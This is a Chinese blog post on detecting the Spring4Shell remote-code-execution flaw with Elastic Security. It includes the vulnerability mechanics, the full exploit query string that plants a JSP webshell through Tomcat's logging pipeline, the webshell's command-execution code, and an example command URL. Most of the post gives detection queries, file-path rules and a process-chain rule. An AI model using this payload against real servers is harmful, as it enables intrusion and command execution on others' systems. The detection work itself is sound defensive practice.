这个漏洞在清明假期刚出来的时候就想研究一下,一直拖延到现在。看来是已经赶不上热度了,但我觉得还是值得记录一下的。特别是Elastic刚刚在Forrester的“终端检测与响应Wave”报告中, 被评为“Strong Performer”(卓越表现者)
而对于这种层出不穷的零日漏洞,即便是购买了昂贵的网络安全设备都防不住,只能做事后诸葛。那不如考虑看看免费的开源解决方案,并且检测与响应已经成为了一种安全防御的共识:边界防御是一定会被渗透的,快速的检测与响应是必须的。
Spring4Shell 漏洞的工作原理
Spring4Shell 漏洞的几个 PoC 已经广泛可搜了。它们中的大多数都是从这个 GitHub 存储库中派生出来的或受到启发的。
该漏洞依赖于一个特制的 HTTP 请求,该请求滥用 Spring 的RequestMapping接口
来解释和解析网络请求的查询参数。这个接口将传入的网络请求映射到适当的方法上进行处理。
Spring4Shell 漏洞在于RequestMapping
接口对用户提供的数据的过滤机制。利用Spring4Shell的攻击者使用Module.getClassLoader()
提供一个有效载荷。这允许攻击者加载一个任意的恶意类,服务器必须对其进行解析。脆弱的Spring版本没有过滤这个攻击路径,这导致了攻击的发生。
这里要强调的是,我不是一个黑客,所以关于漏洞的利用,到底还有还能够加载哪些恶意类进行攻击,我也不清楚。这个漏洞带个我们的启示就是,安全问题不能马虎,不要想着有类似银弹的解决方案,防守方需要根据攻击方使用的手段,不断调整自己的防御、检测和响应规则,进行动态的防御。
就目前而已,已知的最主要的方式就是生成一个webshell,放到可访问的目录,进行远程命令执行。
具体的PoC大家可以参考以下github的分享:
github:
https://github.com/craig/SpringCore0day
Or
https://github.com/TheGejr/SpringShell
攻击方式解析
以PoC中的攻击方式为例,其恶意代码主要如下,通过读取query中的参数,将其转化为getRuntime().exec()
的内容。
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b)) ! = -){ out.println(new String(b)); } } -
这段恶意代码,主要通过url的query进行注入,按照以下方式:
代码语言:txt复制url.query: "class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=&class.module. classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = %{c1}i.getRuntime(). exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out. println(new String(b)); } } %{suffix}i&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.sffix=.jsp"
RequestMapping
接口解释和解析上述Web请求的查询参数,并将其解析为tomcat日志配置,该日志配置被保存到目录:webapps/ROOT,前缀=tomcatwar,后缀=.jsp。而配置内容则从first.pattern写起。
恶意代码就是包含在这个pattern当中,而整个配置文件被命名为tomcatwar.jsp,放在tomcat的webapps/ROOT目录。
而接下来的攻击,就只需要通过远程访问,http://your-site:8082/tomcatwar.jsp?pwd=j&cmd=whoami
地址,就可以进行远程命令的执行了。
Elastic Security的检测机制
Elastic Security虽然也带了行为勒索软件防御、恶意行为防护、反恶意软件、主机内存保护、内存威胁防护等防护功能,但在现在看到的PoC里面,大多数是通过部署webshell的方式进行远程命令执行的,因为只包含了简单的runtime execute的代码,所以很难被判定为恶意软件(再次验证,单单有防护是不够的,防护很容易被绕过去):
因此,我们需要有威胁捕获的能力(检测的能力)
针对于现在掌握的对漏洞利用的威胁情报,我们知道,目前该漏洞会:
- 通过特定的HTTP request与载荷,注入webshell。因此可以收集网络数据包,检测特定的载荷,特别是
classLoader.resources.context
这些关键字 - 生成jsp文件,用于RCE。因此可以收集特定文件目录下的file event进行捕获
- 会通过HTTP request,进行远程命令执行。因此可以收集网络数据包,检测特定的远程执行模式
- 因为整个调用链路是由java应用生成的。因此,可以检测特定的进程调用链:
tomcat(java) -> webshell(java) -> command
安装Elastic Agent 集成
针对以上分析,我们可以在需要保护的主机上,安装elastic Agent,并且开启对应的integration。
- Version: 8.1
- Integration: Endpoint Security, Network traffic
- Policy settings: default
- 目标主机:已部署易受攻击应用程序的主机
注意,Network traffic集成对于网络检测是必要的。因为我们的案例中把网络服务器绑定到8082端口,所以我们必须配置这个集成来监听这个端口。
威胁捕获演示
我按照教程,在一台主机上,安装了包含漏洞的springbot web server服务。接下来,我们将通过多种检测手段,去看看Elastic Security如何帮助我们捕获到对应的威胁。
威胁捕获(web - 注入 webshell)
关于webshell注入的方式,我们在前面已经有比较详细的说明。我们要做的只是安装好Elastic Agent,并且将对应的集成下发到Elastic Agent当中。确保有数据上来之后:
然后创建安全应用中的时间线(timeline)工具,进行调查:
遵循规则可以检测远程部署 webshell 的行为:
http.request.method : ("POST" or "GET" ) and url.query : *classLoader.resources.context*
威胁捕获(文件创建)
我们还可以从文件的角度检测 webshell。我们不一定要自己去研究,也可以看看我们的安全生态系统中有哪些可以利用的情报。比如,可以:
- 转到https://github.com/edelucia/rules/blob/main/sigma/Spring4Shell.yaml,并复制 sigma 规则
- 转到https://uncoder.io/ 并粘贴规则并转换为 ES 查询
打开 Kibana -> 安全 -> 时间线,修正一下查询:
file.path:*webapps/ROOT* 和 (file.path:*tomcatwar.jsp OR file.path:*shell.jsp OR file.path:*0xd0m7.jsp OR file.path:*wpz.jsp OR file.path :*myshell.jsp) 和 event.action : "creation"
我们还可以通过查看整个漏洞利用路径的分析器,很容易地检查远程执行了哪些命令:
威胁捕获(网络 - 远程命令执行)
根据注入的 webshell 的定义方式,RCE 可能会有所不同。我们可以在我们的演示中使用以下规则来检测 RCE:
http.request.method : ("POST" 或 "GET" ) 和 url.full : *.jsp?*=*
威胁狩猎(java的子进程)
如果我们要检测tomcat(java) -> webshell(java) -> command的链。我们可以在我们的演示中使用以下规则来检测 RCE:
代码语言:txt复制sequence by host.id
/*tomcat fork一个java线程*/
[process where process.name : "java" and process.parent.name : "java"] by process.parent.pid
/*java线程执行运行时命令*/
[process.parent.name : "java" and process.args: "/usr/bin/coreutils"] by process.parent.pid
总结
无论是log4shell还是spring4shell,这些漏洞都是针对生产环境,可以远程执行代码的漏洞。大趋势是:DevSecOps 不仅仅是一个想法,而是一个日益增长的现实。可观察性和安全团队在同一平台上协作的解决方案的要求会增加。而Elastic Stack给我们提供了这样的一个途径,我们在使用Elastic Agent采集数据,日志的同时,为什么不把安全防护,安全检测一起做了呢。